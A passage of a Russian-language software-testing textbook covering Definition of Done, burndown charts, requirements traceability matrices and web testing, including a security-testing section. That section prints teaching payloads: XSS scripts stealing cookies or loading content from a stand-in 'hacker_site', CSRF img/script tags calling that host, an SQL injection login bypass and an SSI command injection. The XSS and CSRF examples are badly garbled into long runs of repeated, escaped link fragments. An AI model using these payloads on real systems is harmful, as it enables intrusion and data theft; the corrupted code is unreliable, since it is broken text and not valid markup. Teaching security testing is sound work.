факты. Выводы должны быть: • Краткими. • Информативными. • Полезными для читающего отчёт. Рекомендации должны быть: • Краткими. • Реально выполнимыми. • Дающими как понимание того, что надо сделать. Definition of Done Вы это уже сделали? Что отвечать на такой вопрос рядовому сотруднику? Варианта два, но и два пути, которые данному работнику могут и не понравиться. Если он отвечает «да», то это означает, что он может взять еще работу на исполнение, а потом окажется, что ему нужно доделать старую. Также если он отвечает «нет», то его могут посчитать медлительным и он тормозит процесс. Такой вопрос обычно задается бесчисленное количество раз при разработке какого-либо программного продукта, да и, в целом, во время рабочего процесса. В этих моментах, как и в любых других, должна быть оптимизация способная минимизировать или исключить полностью негативные стороны этого процесса. Вообще, понимание выражения "Definition of Done" в полной мере понятна людям, знакомыми с философией Scrum. Определенно сделанная задача – это та задача, которая не нуждается в доработках, но тут встает законный вопрос: "А как оценить, что задача действительно выполнена?" Как может показаться изначально, вопрос так себе. Ну что значит "как оценить?" Выполнена - значит, выполнена, не выполнена - значит ,не выполнена. Давайте посмотрим банальный пример про разработку чего-нибудь, например, части программы. Скажем, мы написали какой-то функционал, и вроде бы всё, однако, мы понимаем что наш функционал может иметь баги (ошибки), которые, например, сейчас не могут быть проверены, так как не готовы другие модули, позволяющие протестировать. Получается, ставя напротив этой задачи «Выполнено», мы немного лукавим, так как нам к ней придется возвращаться. Даже если есть модули для тестирования, необходимо ли тестировать? Может, следует поставить «Выполнено» только после результатов code review? Как мы видим, у нас очень много вопросов, которые мешают нам правильно построить работу. Из-за нашей неопределенности вытекают очень большие проблемы. Мало того, что мы сами можем не понять ,сделали ли мы до конца, а уж другие члены группы точно не смогут разобраться. Как Вы уже, наверное, догадались, Definition of Done и призвана исправить это и не дать нам повода беспокоиться! Definition of Done на страже нашего спокойствия На самом деле, на страже общего спокойствия. Мы действительно можем не понять до конца степень законченности нашей задачи, однако оповестить команду, что же мы всетаки сделали, обязаны. Definition of Done, как и всё в Scrum, должно быть лаконично, поэтому зачастую отводится для этого одно предложение, однако это не единственный вариант. Для примера приведем несколько выполненных задач с использованием Definition of Done: • Done = функционал оплаты реализован, проведено тестирование с тестировщиком Алексеем • Done = разработан документ по спецификации, проведено обсуждение с клиентами • Done = модуль авторизации разработан полностью, протестирован, продемонстрирован на Sprint Review Meeting • Done = модуль полностью реализован и выгружен для использования Как видно, любое описание начинается с “done=”, что дает понять, на что обращать внимание. Вообще, в листе принято писать такие результаты, которые можно проверить. Нет смысла описывать мысли, ведь, скажем, «done = придуман внешний вид интерфейса корзины» звучит странно и никак это проверить нельзя. Желательно, изначально разработать список правил, которые будут описывать Definition of Done, чтобы все в команде писали в одном стиле. Это приведет к более быстрому пониманию того, что хотел передать коллега. Еще одним из знаменитых способов записи Definition of Done — является простой список. В заключении, хочется сказать, что не стоит пренебрегать Definition of Done, ведь это приводит не только к осознанию того, что было сделано, но и к тому, как это нужно сделать в будущем. Благодаря использованию Definition of Done все будут стараться делать задачи более четкими и конкретными, чтобы потом гордо сказать: «Точно сделано!». Помимо этого, набор рейтинга в Velocity будет гораздо выше. В большинстве своем, мы привыкли к графикам идущими вверх, что означает положительную динамику, однако они могут идти и вниз и также показывать положительную динамику. Одним из таких ярких примеров является Диаграмма сгорания задач (Burndown chart). Само сочетание "Burn Down" дословно переводится как «гореть вниз» и это действительно так. Данный график является основным средством для отслеживания выполненных задач в спринте или во всем проекте. Хотя, по сути, он может использоваться как угодно, но мы его рассматриваем внутри методологии Scrum. Пример Диаграммы сгорания задач: Синим цветом на диаграмме сгорания отмечена идеальная линия выполнения задач, на которую и следует опираться. Красным цветом отмечена реальная история выполнения задач. По шкале Y отмечают количество запланированных баллов (в данном случае), идеальные часы, количество задач и так далее. По шкале X отмечают количество дней до окончания Sprint. Как может показаться на первый взгляд, данная диаграмма сгорания задач / Burndown chart служит всего лишь для самоконтроля и самоотчета, однако ее использование может рассказать об очень многом. Читаем Диаграмму сгорания задач / Burndown chart Начнем с примеров негативных результатов как ведения графика, так и самой работы команды и закончим более качественными. 1. Burndown Chart: Слишком рано е По диаграмме сгорания задач/Burndown chart отчетливо видно, что команда все задачи выполнила раньше срока. Такая ситуация тоже не является позитивной, так как это означает ряд совершенных проблем: 1. Команда сделала неправильную оценку предстоящей работы. 2. В случае быстрого выполнения задач, разработчики не добавляли задачи из следующего спринта. 3. Команда сильно перестраховалась, включив изначально дополнительный срок. В случае такой проблемы, чаще всего Scrum Master спрашивает команду о возможности добавления дополнительных задач из Product Backlog. 2. Burndown Chart: Опоздали Также один из видов негативных диаграмм сгорания задач. Одной из возможных причин здесь может быть постоянное добавление новых задач во время спринта, что увеличило нагрузку. Второй частой проблемой является недоделанность задач, когда задачи сделаны наполовину. Такие задачи, как выразился Джефф Сазерленд, являются хламом. В такой ситуации, на Daily Scrum Meeting обязательно нужно говорить о проблемах, мешающих идти к цели ровной дорогой. Как только линия реальных задач пошла выше, сразу надо решать проблему – это также один из постулатов методологии Scrum. 3. Burndown Chart: Без оценок Может быть даже команда и работала, только забыла или не захотела использовать диаграмму сжигания задач, что является прямо сказать дурным тоном и противоречит эффективной работе. Команда не может контролировать себя, не может совершенствоваться и так далее. 4. Burndown Chart: Конечная оценка Собственно, ситуация равна предыдущей. Не смотря на законченный Sprint, все итоговые оценки были внесены в диаграмму сгорания в самый последний день после завершения работы. Это равносильно тому, когда вообще законченные задачи не вносятся. По данному графику невозможно сделать вывода о правильности работы команды и, даже более того, можно предположить, что команда не стремится к развитию. 5. Burndown Chart: Zero Отсутствие показателя реальных задач в диаграмме не является поводом считать, что работа не производилась, ведь она могла быть просто не оценена. Как и в предыдущих пунктах, такая позиция не позволяет контролировать работу собственной команды и совершенствоваться. 6. Burndown Chart: Релаксирующая команда Этот пример диаграммы сгорания задач уже значительно лучше, нежели другие, ведь в нем можно увидеть, как усовершенствовать команду. Возможные проблемы здесь такие же, как и в пункте «Слишком рано», но Scrum Team решили не заканчивать Sprint раньше, а более расслаблено продолжить работу, что также является ошибкой. 7. Burndown Chart: Совершенствование Scrum Team на текущих показателях выглядит достаточно хорошо. По линиям видно, что в самом начале были трудности, но во время Daily Scrum Meeting все вопросы вскрывались и Scrum Master исправлял работу, ведя команду к цели. Также, возможно, группа делала принципиальное ускорение для достижения цели. Еще одной причиной, к примеру, может быть то, что команда брала дополнительные задачи. 8. Burndown Chart: Опыт На лицо опытная группа, которая, после начала работы, сразу исправляет все возникающие трудности и совершенствуется так, что резко переходит к активному сжиганию. 9. Burndown Chart: A++ Бесконечно можно смотреть на три вещи: как горит огонь, как течет вода и как строится идеальный график =). Матрица соответствия требований (Requirements Traceability Matrix) Это двумерная таблица, содержащая соответствие функциональных требований (functional requirements) продукта и подготовленных тестовых сценариев (test cases). В заголовках колонок таблицы расположены требования, а в заголовках строк — тестовые сценарии. На пересечении — отметка, означающая, что требование текущей колонки покрыто тестовым сценарием текущей строки. Матрица обычно хранится в виде электронной таблицы. Матрица соответствия требований используется QA-инженерами для валидации покрытия требований по продукту тестами. Цель «Traceability Matrix»: • какие требования «покрыты» тестами, а какие нет. • избыточность тестов (одно функциональное требование покрыто большим количеством тестов). Данный тестовый артефакт является неотъемлемой частью тестирования. Табл. "Requirements Traceability Matrix" Тема 19. Тестирование web Тестирование веб приложений включает: • Функциональное тестирование. • Тестирование безопасности. • Нагрузочное тестирование. • Кроссбраузерное тестирование. Функциональное тестирование рассматривает заранее указанное поведение и основывается на анализе спецификаций функциональности компонента или системы в целом. Функциональные тесты основываются на функциях, выполняемых системой, и могут проводиться на всех уровнях тестирования(компонентном, интеграционном, системном, приемочном). Как правило, эти функции описываются в требованиях, функциональных спецификациях или в виде случаев использования системы (use cases). Тестирование функциональности может проводиться в двух аспектах: • Требования. • Бизнес-процессы. Тестирование в перспективе «требования» использует спецификацию функциональных требований к системе, как основу для дизайна тестовых случаев (Test Cases). В этом случае необходимо сделать список того, что будет тестироваться, а что нет, приоритезировать требования на основе рисков, а на основе этого приоритезировать тестовые сценарии (test cases). Это позволит сфокусироваться и не упустить при тестировании наиболее важный функционал. Тестирование в перспективе «бизнес-процессы» использует знание этих самых бизнеспроцессов, которые описывают сценарии ежедневного использования системы. В этой перспективе, тестовые сценарии (test scripts), как правило, основываются на случаях использования системы (use cases). Преимущества функционального тестирования: • имитирует фактическое использование системы. Недостатки функционального тестирования: • возможность упущения логических ошибок в программном обеспечении; • вероятность избыточного тестирования. Тестирование безопасности - это стратегия тестирования, используемая для проверки безопасности системы, а также для анализа рисков, связанных с обеспечением целостного подхода к защите приложения, атак хакеров, вирусов, несанкционированного доступа к конфиденциальным данным. Принципы безопасности программного обеспечения: • Конфиденциальность - ограничение доступа к ресурсу некоторой категории пользователей или, другими словами, при каких условиях пользователь авторизован получить доступ к данному ресурсу. • Целостность и доверие - ожидается, что ресурс будет изменен только соответствующим способом определенной группой пользователей. • Повреждение и восстановление - в случае, когда данные повреждаются или неправильно меняются авторизованным или не авторизованным пользователем, Вы должны определить, насколько важной является процедура восстановления данных. • Доступность - требования о том, что ресурсы должны быть доступны авторизованному пользователю, внутреннему объекту или устройству. Как правило, чем более критичен ресурс, тем выше уровень доступности должен быть. Виды уязвимостей Наиболее распространенными видами уязвимости в безопасности программного обеспечения являются: • XSS (Cross-Site Scripting) - это вид уязвимости программного обеспечения (Web приложений), при которой на генерированной сервером странице выполняются вредоносные скрипты с целью атаки клиента. • XSRF / CSRF (Request Forgery) - это вид уязвимости, позволяющий использовать недостатки HTTP протокола, при этом, злоумышленники работают по следующей схеме: ссылка на вредоносный сайт устанавливается на странице, пользующейся доверием у пользователя, при переходе по вредоносной ссылке выполняется скрипт, сохраняющий личные данные пользователя (пароли, платежные данные и т.д.), либо отправляющий СПАМ сообщения от лица пользователя, либо изменяет доступ к учетной записи пользователя для получения полного контроля над ней. • Code injections (SQL, PHP, ASP) - это вид уязвимости, при котором становится возможно осуществить запуск исполняемого кода с целью получения доступа к системным ресурсам, несанкционированного доступа к данным либо выведения системы из строя. • Server-Side Includes (SSI) Injection - это вид уязвимости, использующий вставку серверных команд в HTML код или запуск их напрямую с сервера. • Authorization Bypass - это вид уязвимости, при котором возможно получить несанкционированный доступ к учетной записи или документам другого пользователя. Как тестировать ПО на безопасность? Приведем примеры тестирования ПО на предмет уязвимости в системе безопасности. Для этого Вам необходимо проверить Ваше программное обеспечение на наличия известных видов уязвимостей: XSS (Cross-Site Scripting) Сами по себе XSS атаки могут быть очень разнообразными. Злоумышленники могут попытаться украсть ваши куки, перенаправить вас на сайт, где произойдет более серьезная атака, загрузить в память какой-либо вредоносный объект и т.д., всего навсего разместив вредоносный скрипт у вас на сайте. В качестве примера можно рассмотреть следующий скрипт, выводящий на экран ваши куки: <script>alert(document.cookie);</script> либо скрипт делающий редирект на зараженную страницу: <script>window.parent.location.href='[[[[[[http://hacker\_site';</script&gt\]\(http://hacker\_site\] \(http://hacker\_site\]\(http://hacker\_site\]\(http://hacker\_sitehttp://hacker\_site\]\(http://hacker\ _site\]\(http://hacker\_site\)';\[/script&gt\]\(http://hacker\_site\]\(http://hacker\_site\)';</script>\\]\ (\[http://hacker\\_site\\)';</script>\\]\(http://hacker\_site\)';</script\]\(/script&gt\]\(http://hacker\_ site\]\(http://hacker\_site\)';</script>\]\(\[http://hacker\_site\)';</script>\]\(http://hacker\_site\)';</ script>\]\(';</script\)\)\]\(http://hacker\_site\]\(http://hacker\_site/script&gt\]\(http://hacker\_site\] \(http://hacker\_site\]\(http://hacker\_site\]\(http://hacker\_sitehttp://hacker\_site\]\(http://hacker\ _site\]\(http://hacker\_site\)';\[/script&gt\]\(http://hacker\_site\]\(http://hacker\_site\)';</script';htt p://hacker\_site\)http://hacker\_site\)\]\(\[/script\]\(/script&gt\]\(http://hacker\_site\]\(http://hacker \_site\)';</scripthttp://hacker\_site\)';</script>\]\(http://hacker\_site\)http://hacker\_site\)';\[/script &gt\]\(http://hacker\_site\]\(http://hacker\_site\]\(http://hacker\_site\]\(http://hacker\_sitehttp://ha cker\_site\]\(http://hacker\_site\]\(http://hacker\_site\)';\[/script&gt\]\(http://hacker\_site\]\(http:// hacker\_site\)';</script\]\(/script&gt\]\(http://hacker\_site\]\(http://hacker\_site\]\(http://hacker\_si te\]\(http://hacker\_sitehttp://hacker\_site\]\(http://hacker\_site\]\(http://hacker\_site\)';\[/script&g t\]\(http://hacker\_site\]\(http://hacker\_site\)';http://hacker\_site\)http://hacker\_site\)\]\(\[http://h acker\_site\]\(http://hacker\_site\)';</script\]\(/script\]\(/script&gt\]\(http://hacker\_site\]\(http://ha cker\_site\)http://hacker\_site\)';</script>\]\(http://hacker\_site\)';</script>\]\(';</script\)\)\]\(';</sc ript\)\]\(\[';</script>\]\(';\[/script\]\(/script>\]\(';</script\)\]\(\[';</script>\]\(';</script>\]\(';</script\) \)\)\\); либо создающий вредоносный объект с вирусом и т.п.: <object type="text/x-scriptlet" data="[[[[[[http://hacker\_site"></object&gt\]\(http://hacker\_site">\]\(http://hacker\_site">\]\(htt p://hacker\_site">\]\(http://hacker\_site">/object&gt\]\(http://hacker\_site"http://hacker\_site">\]\ (http://hacker\_site">\)\[/object&gt\]\(http://hacker\_site"\]\(/object&gt\]\(http://hacker\_site"\)\]\ (\[http://hacker\_site">\)\[/object&gt\]\(http://hacker\_site"\]\(/object&gt\]\(http://hacker\_site"\)\ )</object>\]\(http://hacker\_site">\)\[/object&gt\]\(http://hacker\_site"\]\(/object&gt\]\(http://hack er\_site"\)\)\]\(</object>\)\]\(http://hacker\_site">\]\(http://hacker\_site">/object&gt\]\(http://hack er\_site"http://hacker\_site">\]\(http://hacker\_site">\]\(http://hacker\_site">/object&gt\]\(http://h acker\_site"http://hacker\_site">\]\(http://hacker\_site">\)\[/object&gt\]\(http://hacker\_site"\]\(/o bject&gt\]\(http://hacker\_site"\)\]\(\[http://hacker\_site">\)\[/object&gt\]\(http://hacker\_site"\]\(/ object&gt\]\(http://hacker\_site"\)\)http://hacker\_site">\)\[/object&gt\]\(http://hacker\_site"\]\(/o bject&gt\]\(http://hacker\_site"\)\)\]\(\]\(http://hacker\_site">\)\[/object&gt\]\(http://hacker\_site"\ ]\(/object&gt\]\(http://hacker\_site"\)\]\(\[http://hacker\_site">\]\(http://hacker\_site">\]\(http://ha cker\_site">/object&gt\]\(http://hacker\_site"http://hacker\_site">\]\(http://hacker\_site">\)\[/obje ct&gt\]\(http://hacker\_site"\]\(/object&gt\]\(http://hacker\_site"\)\]\(\[http://hacker\_site">\)\[/obj ect&gt\]\(http://hacker\_site"\]\(/object&gt\]\(http://hacker\_site"\)\)\]\(http://hacker\_site">\]\(htt p://hacker\_site">\]\(http://hacker\_site">/object&gt\]\(http://hacker\_site"http://hacker\_site">\]\ (http://hacker\_site">\)\[/object&gt\]\(http://hacker\_site"\]\(/object&gt\]\(http://hacker\_site"\)\]\ (\[http://hacker\_site">\)\[/object&gt\]\(http://hacker\_site"\]\(/object&gt\]\(http://hacker\_site"\)\ )\)</object>\]\(\[http://hacker\_site">\)\[/object&gt\]\(http://hacker\_site"\]\(/object&gt\]\(http://h acker\_site"\)\)\]\(\]\(http://hacker\_site">\)\[/object&gt\]\(http://hacker\_site"\]\(/object&gt\]\(htt p://hacker\_site"\)\)\]\(\)</object>\)\)\</object>\]\(</object>\)\]\(\\); Для просмотра большего количества примеров рекомендуем посетить страничку: XSS (Cross Site Scripting)... XSRF / CSRF (Request Forgery) Наиболее частыми CSRF атаками являются атаки использующие HTML <IMG> тэг или Javascript объект image. Чаще всего, атакующий добавляет необходимый код в электронное письмо или выкладывает на веб-сайт таким образом, что, при загрузке страницы осуществляется запрос, выполняющий вредоносный код. Примеры: IMG SRC <img src="[[[[[[http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hack er\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\)\]\(http://hacker\_site/?command" &gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_ site/?command"&gt\)\)\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"& gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\)\]\(http://hacker\_s ite/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\ (http://hacker\_site/?command"&gt\)\)\)\\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_s ite/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\)\ ]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/ ?command"&gt\]\(http://hacker\_site/?command"&gt\)\)\]\(http://hacker\_site/?command"&gt\]\( http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?c ommand"&gt\)\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(htt p://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\)\)\)\\)\]\(http://hacker\_sit e/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(h ttp://hacker\_site/?command"&gt\)\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?c ommand"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\)\)\]\(ht tp://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?co mmand"&gt\]\(http://hacker\_site/?command"&gt\)\]\(http://hacker\_site/?command"&gt\]\(http: //hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?comm and"&gt\)\)\)\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http:/ /hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\)\]\(http://hacker\_site/?com mand"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://ha cker\_site/?command"&gt\)\)\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?comma nd"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\)\]\(http://hac ker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command" &gt\]\(http://hacker\_site/?command"&gt\)\)\)\)\)\\\); SCRIPT SRC <script src="[[[[[[http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hack er\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\)\]\(http://hacker\_site/?command" &gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_ site/?command"&gt\)\)\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"& gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\)\]\(http://hacker\_s ite/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\ (http://hacker\_site/?command"&gt\)\)\)\\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_s ite/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\)\ ]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/ ?command"&gt\]\(http://hacker\_site/?command"&gt\)\)\]\(http://hacker\_site/?command"&gt\]\( http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?c ommand"&gt\)\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(htt p://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\)\)\)\\)\]\(http://hacker\_sit e/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(h ttp://hacker\_site/?command"&gt\)\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?c ommand"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\)\)\]\(ht tp://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?co mmand"&gt\]\(http://hacker\_site/?command"&gt\)\]\(http://hacker\_site/?command"&gt\]\(http: //hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?comm and"&gt\)\)\)\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http:/ /hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\)\]\(http://hacker\_site/?com mand"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://ha cker\_site/?command"&gt\)\)\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?comma nd"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\)\]\(http://hac ker\_site/?command"&gt\]\(http://hacker\_site/?command"&gt\]\(http://hacker\_site/?command" &gt\]\(http://hacker\_site/?command"&gt\)\)\)\)\)\\\); Javascript объект Image < script > var foo = new Image(); foo.src = "http://hacker_site/?command"; < /script > Code injections (SQL, PHP, ASP и т.д.) Вставки исполняемого кода рассмотрим на примере кода SQL. Форма входа в систему имеет 2 поля имя и пароль. Обработка происходит в базе данных через выполнение SQL запроса: SELECT Username FROM Users WHERE Name = 'tester' AND Password = 'testpass'; Вводим корректное имя ’tester’, а в поле пароль вводим строку: testpass' OR '1'='1 В итоге, если поле не имеет соответствующих валидаций или обработчиков данных, может вскрыться уязвимость, позволяющая зайти в защищенную паролем систему, т.к.SQL запрос примет следующий вид: SELECT Username FROM Users WHERE Name = 'tester' AND Password = 'testpass' OR '1'='1'; Условие '1'='1' всегда будет истинным и поэтому SQL запрос всегда будет возвращать много значений. Server-Side Includes (SSI) Injection В зависимости от типа операционной системы ,команды могут быть разными, в качестве примера рассмотрим команду, которая выводит на экран список файлов в OS Linux: < !--#exec cmd="ls" --> Authorization Bypass Пользователь А может получить доступ к документам пользователя Б. Допустим, есть реализация, где, при просмотре своего профиля, содержащего конфеденциальную информацию, в URL страницы передается userID, в данном случае, есть смысл попробовать подставить вместо своего userID номер другого пользователя. И если Вы увидите его данные, значит Вы нашли дефект. Вывод Примеров уязвимостей и атак существует огромное количество. Даже проведя полный цикл тестирования безопасности, нельзя быть на 100% уверенным, что система понастоящему обезопасена. Но можно быть уверенным в том, что процент несанкционированных проникновений, краж информации и потерь данных будет в разы меньше, чем у тех, кто не проводил тестирования безопасности. С развитием сетевых технологий и интернета взаимодействие разных систем, сервисов и приложений друг с другом приобрело значительную актуальность, так как любые связанные с этим проблемы могут привести к падению авторитета компании, что, как следствие ,повлечет за собой финансовые потери. Поэтому, к тестированию взаимодействия стоит подходить со всей серьезностью. Нагрузочное тестирование или тестирование производительности - это автоматизированное тестирование, имитирующее работу определенного количества бизнес пользователей на каком-либо общем (разделяемом ими) ресурсе. Основные виды нагрузочного тестирования Тестирование производительности (Performance testing) Задачей тестирования производительности является определение масштабируемости приложения под нагрузкой, при этом происходит: • Измерение времени выполнения выбранных операций при определенных интенсивностях выполнения этих операций. • Определение количества пользователей одновременно работающих с приложением. • Определение границ приемлемой производительности при увеличении нагрузки (при увеличении интенсивности выполнения этих операций). • Исследование производительности на высоких, предельных, стрессовых нагрузках. Стрессовое тестирование (Stress Testing) Стрессовое тестирование позволяет проверить, насколько приложение и система в целом работоспособны в условиях стресса и также оценить способность системы к регенерации, т.е. к возвращению к нормальному состоянию после прекращения воздействия стресса. Стрессом, в данном контексте, может быть повышение интенсивности выполнения операций до очень высоких значений или аварийное изменение конфигурации сервера. Также одной из задач при стрессовом тестировании может быть оценка деградации производительности, таким образом, цели стрессового тестирования могут пересекаться с целями тестирования производительности. Объемное тестирование (Volume Testing) Задачей объемного тестирования является получение оценки производительности при увеличении объемов данных в базе данных приложения, при этом происходит: • Измерение времени выполнения выбранных операций при определенных интенсивностях выполнения этих операций. • Может производиться определение количества пользователей одновременно работающих с приложением. Тестирование стабильности или надежности (Stability / Reliability Testing) Задачей тестирования стабильности (надежности) является проверка работоспособности приложения при длительном (многочасовом) тестировании со средним уровнем нагрузки. Время выполнения операций может играть в данном виде тестирования второстепенную роль. При этом, на первое место выходит отсутствие утечек памяти, перезапусков серверов под нагрузкой и другие аспекты влияющие именно на стабильность работы. Инструментом для проведения нагрузочного тестирования является Apache Jmeter. Кросс-браузерное тестирование Кросс-браузерное тестирование представляет собой процесс тестирования вебприложений в нескольких браузерах. В настоящее время пользователи имеют широкий выбор браузеров для доступа к вебприложениям, поэтому в современных условиях стало крайне важным выполнять кроссбраузерное тестирование. В разных браузерах компоненты приложений могут вести себя по-разному. Такое поведение приложения может быть вызвано рядом факторов: • Разработанное веб-приложение может быть не адаптивно под тот или иной браузер или его версию. • Неверно были применены стандарты, по которым разрабатывается сам браузер. • Были допущены ошибки при разработке браузера. • У пользователя установлен какой-либо плагин или надстройка, вызывающие ошибки веб-приложения. Из-за разной работы браузеров или ошибок, допущенных в нем, могут возникать дефекты в Вашем продукте. Часто встречающиеся дефекты: • Верстка. Наиболее распространенная ошибка в различных браузерах. Разработчики часто создают приложение и проверяют его в одном, наиболее удобном дня них, браузере. Но у пользователей может быть установлена другая версия браузера, в котором «красивая картинка» разработчика может выглядеть совсем некрасиво у пользователя. Такие ошибки чаще всего не являются критичными, но неприятное впечатление о вашем продукте могут оставить. • Навигация. Бывают ситуации, когда в одном из браузеров ссылка не работает, как было запланировано, либо не работает вовсе. Такие ошибки могут негативно отразиться на Вашем продукте. Когда клиент не находит нужный раздел или не может перейти на другую страницу, чтобы завершить действие, это доставляет неудобства и раздражает. Как результат – потеря клиента. • Ошибки JavaScript. Такие ошибки имеют высокий приоритет. Неработоспособность JavaScript в одном из браузеров может привести к потере заказа, клиента, или к потере документа, например, если у вас система электронного документооборота; к невозможности создания заявки, если у вас система заявок и т.д. Десктопные браузеры: • Chrome • Firefox • IE • Safari • Edge • Opera Мобильные браузеры: • Chrome • Safari • UC Browser • Opera • Samsung Internet • Android Движки браузеров: • Trident - проприетарный движок Microsoft Internet Explorer. • Gecko - открытый движок проекте MozillaFirefox. • KHTML - разработан в рамках проекта KDE, послужил основой для WebKit. • WebKit - движок для браузера Apple Safari и Google Chrome. • Presto - проприетарный движок для браузера Opera до перехода на Blink. • Blink - движок браузера Google Chrome с 28 версии и Opera c 15 версии. Является ответвлением WebKit. • Edge - новый движок от компании Microsoft для браузера Microsoft Edge. Является ответвлением Trident. Инструменты для кросс-браузерного тестирования: 1. Browsershots - это простой бесплатный инструмент, но его функционал мало чем уступает его платным конкурентам. Благодаря Browsershots можно получить скриншот того, как сайт будет выглядеть в каждом конкретном случае. В распоряжении гигантский список поддерживаемых браузеров, а также возможность выбрать размер экрана, насыщенность цветов, включить и выключить JavaScript (Вы можете указать конкретную версию JavaScript) Java и Flash. 2. Browser Sandbox будет полезным только для пользователей Windows. Он имеет большой список поддерживаемых браузеров, который включает IE, Firefox, Chrome, ChromiumCanary, Firefox Mobile, Safari, Opera, и FirefoxNightly. 3. Netrenderer - инструмент для проверки приложения на разных версиях IE от 5.5 до 11. 4. Microsoft Edge - это целая платформа для тестирования сайта в IE. Microsoft Edge предоставляет виртуальную машину только для тестирования в IE7 и новее. 5. Browsera - многофункциональный инструмент, который позволяет тестировать не только кроссбраузерность макета, но и работоспособность скриптов в разных ситуациях, отображение динамических страниц, степень защищенности сайта и т.д. 6. Cross Browser Testing - использует реальные устройства для тестирования сайта. Cross Browser Testing включает большой список поддерживаемых браузеров (около 900) и операционных систем (около 40), включая iOS, Android,Windows, Mac и другие. Еще одна отличительная особенность - режим live testing , в котором можно тестировать свой сайт в реальном окружении, получая возможность проверить работоспособность AJAX, HTMLформ, JavaScript, Flash и всего остального. Кроме того, представлена возможность автоматизации тестов и сравнения скриншотов. 7. Browser Stack - использует реальные устройства для тестирования и поддерживает 700+ браузеров. Существует возможность локального тестирования и быстрого получения скриншотов на разных разрешениях экранов от 800х600 до 2048х1536. Инструменты разработчика Инструменты разработки позволяют: • Просматривать элементы соответствующие определённому HTML коду (например, какой-нибудь заголовок). • Получить общий CSS используемый на странице и какой CSS применяется к элементу. • Модифицировать CSS в реальном времени и визуально увидеть ваши изменения в браузере. • Увидеть HTTP запросы, производимые браузером. • Запускать JavaScript код в середине содержимого страницы. • Определять узкие места в производительности и производить её измерение. • Изменять ресурсы оффлайн, чтобы понять какие данные, что запрашивает страница, хранятся локально. Инструменты разработчика можно открыть с помощью кнопки F12 или "Дополнительные инструменты ➤ Инструменты разработчика". Также можно правой кнопкой мыши выбрать "Исследовать элемент в контекстном меню". Инспектор - позволяет видеть HTML-код и CSS, который применён к каждому элементу на странице. Также позволяет в реальном времени редактировать как HTML, так и CSS. Внесённые изменения можно увидеть непосредственно в окне браузера. Консоль - инструмент, где выводятся сообщения и ошибки JavaScript, CSS и другие. Она позволяет загружать JavaScript вопреки порядку загрузки скрипта в браузере и докладывает об ошибках, как только браузер пытается выполнить Ваш код. Отладчик JavaScript - инструмент для отладки JavaScript, если он не работает, как ожидалось. Он позволяет Вам загружать JavaScript вопреки порядку загрузки скрипта в браузере и докладывает об ошибках, как только браузер пытается выполнить код. Сеть - записывает и отображает сетевые запросы в любое время, когда панель инструментов открыта, даже если сам монитор сети не выбран. Отображает запросы, методы, статус коды, объем данных. Заголовки - перечислены основные сведения о запросе, в том числе: • URL-адрес запроса. • Метод запроса. • Удаленный IP-адрес и порт. • Код состояния. • HTTP-запросы и заголовки ответов, которые были отправлены. Куки - перечислены все сведения о любых файлах cookie, отправленных с запросом или ответом. Параметры - перечислены все параметры отправленные с запросом. Ответ - отображается ответ пришедший на запрос в определенном формате данных. Тайминги - представлен более подробный аннотированный вид временной шкалы для каждого запроса, показывающий время выполнения. Режим адаптивного дизайна - позволяет проверить сайт при разных 